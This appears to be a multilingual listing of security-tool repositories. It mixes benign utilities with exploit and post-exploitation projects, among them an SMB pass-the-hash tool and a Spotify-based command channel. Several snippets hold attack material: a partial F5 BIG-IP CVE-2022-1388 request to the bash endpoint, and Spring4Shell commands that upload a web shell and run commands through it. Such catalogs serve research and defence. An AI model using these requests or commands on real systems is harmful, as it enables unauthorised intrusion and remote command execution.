ipsw

ipsw iOS/macOS 연구용 스위스 아미 나이프 ipsw 는 Apple 펌웨어 연구 및 리버스 엔지니어링을 위한 명령줄 툴킷입니다. IPSW와 OTA를 다운로드하고 압축을 해제하며, Mach-O 바이너리와 dyld shared cache를 검사하고, kernelcache를 분석하며, 연결된 iOS 기기와 함께 작업할 수 있습니다. Agent skill · 설치 · CLI 예제 · 문서 AI 에이전트와 함께 ipsw 사용하기 Claude Code, Codex, Gemini CLI 또는 스킬을 지원하는 다른 에이전트에서 작업...

CVE-2019-12744

CVE-2019-12744 Информация Название эксплойта: Удаленное выполнение команд через непроверенную загрузку файлов в версиях SeedDMS 5.1.11 CVE: CVE-2019-12744 Страница производителя: https://www.seeddms.org/index.php?id=2 Автор эксплойта: NobodyAtall Протестированная версия: Seeddms 5.1.10, 5.0.11...

CVE-2024-2389

Progress Kemp Flowmon CVE-2024-2389 Описание Этот репозиторий содержит скрипт на Python для эксплуатации уязвимости в Flowmon, позволяющей получить обратную оболочку на целевой системе. Эксплойт использует недостаток в эндпоинте service.pdfs/confluence для выполнения произвольных команд на сервер...

sshpass-win32

sshpass-win32 Как https://linux.die.net/man/1/sshpass Предварительные требования Для запуска sshpass необходимо установить: Windows 10 Insider build 17733 или новее Установка Winget winget install xhcoding.sshpass-win32 Scoop scoop install sshpass Использование Usage: sshpass options command...

CVE-2021-31761

CVE-2021-31761 Описание : Использование отраженной межсайтовой XSS-атаки для получения удаленного выполнения команд RCE через функцию запущенных процессов Webmin Протестированная версия : Webmin 1.973 последняя версия GitHub от 07/03/2021 Тип атаки: Удаленная Воздействие : Удаленное выполнение...

Linux-for-a-Pentester

🐧 Linux для пентестера 💀 "Теория — это здорово, но магия происходит в командной оболочке." Этот репозиторий представляет собой тщательно подобранную коллекцию заметок по командам Linux, составленную на основе реальных лабораторных работ, CTF и практических занятий. Никакой лишней информации, толь...

CVE-2026-19571

The ITE IT8xxx2 SHI host-command backend subsys/mgmt/echostcmd/backends/echostcmdbackendshiite.c copied the 8-byte host-command request header from the SPI Rx FIFO directly into the shared receive buffer data-inmsg and only afterwards checked the protocol version and the derived packet length. Th...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 ЭКСПЛОИТ POC F5 BIG IP POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM= "command":"run",...

spring4shell-CVE-2022-22965

간단한 Spring4Shell POC 엔드포인트 취약점 확인 python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check 취약한 엔드포인트 공격 python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit 업로드된 웹쉘에서 명령 실행 python spring4shell.py -u...

CVE-2023-33246

CVE-2023-33246 Изменить props.setProperty, выполнить команду...

CVE-2021-45232-RCE

Apache APISIX Dashboard RCE использование: -h -u URL -p PORT -c CMD необязательные аргументы: -h, --help показать это справочное сообщение и выйти -u URL, --url URL целевой URL например: http://127.0.0.1:9000 -p PORT, --port PORT порт управления apisix по умолчанию: 9080 -c CMD, --cmd CMD команда...

sandbox-runtime

Anthropic Sandbox Runtime srt A lightweight sandboxing tool for enforcing filesystem and network restrictions on arbitrary processes at the OS level, without requiring a container. srt uses native OS sandboxing primitives sandbox-exec on macOS, bubblewrap on Linux and proxy-based network filterin...

dirsearch

dirsearch - Web Path Discovery An advanced web path brute-forcer dirsearch is being actively developed by @maurosoria and @shelld3v. Join the Discord server to communicate with the team. Quick Start dirsearch requires Python 3.11 or higher. git clone https://github.com/maurosoria/dirsearch.git...

SpotifyC2

SpotifyC2 — Исследование облачного командного канала Выполняйте команды через плейлист Spotify и получайте вывод команд через Telegram. Что такое SpotifyC2? SpotifyC2 — это исследовательский проект в области кибербезопасности на базе Windows, который демонстрирует, как общедоступные облачные...

vger

V'ger V'ger — это интерактивное консольное приложение для пост-эксплуатации аутентифицированных экземпляров Jupyter с фокусом на безопасность AI/ML. Истории пользователей Как Red Teamer , вы нашли учётные данные Jupyter, но не знаете, что с ними делать. V'ger организован в формате, интуитивно...

anew

anew stdin의 줄을 파일에 추가하되, 해당 줄이 이미 파일에 없는 경우에만 추가합니다. 새 줄은 stdout으로도 출력되므로, 중복을 제거하는 tee -a처럼 동작합니다. 사용 예제 여기서 things.txt라는 파일에는 숫자 목록이 들어 있습니다. newthings.txt에는 두 번째 숫자 목록이 들어 있는데, 일부는 things.txt에 있고 일부는 없습니다. anew는 후자를 things.txt에 추가하는 데 사용됩니다. ▶ cat things.txt Zero One Two ▶ cat newthings.txt On...

Sharp-SMBExec

Sharp-SMBExec Нативная конвертация на C скрипта Invoke-SMBExec PowerShell Кевина Робертсона. https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1 Собрано для .NET 3.5 Использование Sharp-SMBExec.exe hash:"hash" username:"username" domain:"domain.tld"...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 Заявление о безопасности исследования Этот проект предназначен исключительно для целей безопасности и образования. Использование этого инструмента для несанкционированного тестирования незаконно. Автор не несет ответственности за любое злоупотребление или ущерб. 📋 Обзор...

OFBiz-Attack

OFBiz-Attack A Tool For CVE-2023-49070/CVE-2023-51467 Attack Тестовая среда vulhub/ofbiz:18.12.09 Использование Запуск java -jar OFBiz-Attack.jar Всего три модуля: Проверка уязвимости Просто введите целевой URL, не добавляйте лишние маршруты, иначе это повлияет на использование последующих модуле...

cve-2024-31317

Исследование CVE-2024-31317 CVE-2024-31317 предоставляет непривилегированный доступ к любому uid и области SELinux, доступным обычным приложениям Android. Это обеспечивает доступ к uid 1000 system и uid 2000 shell, и может быть полностью вызвано непривилегированным приложением, что позволяет...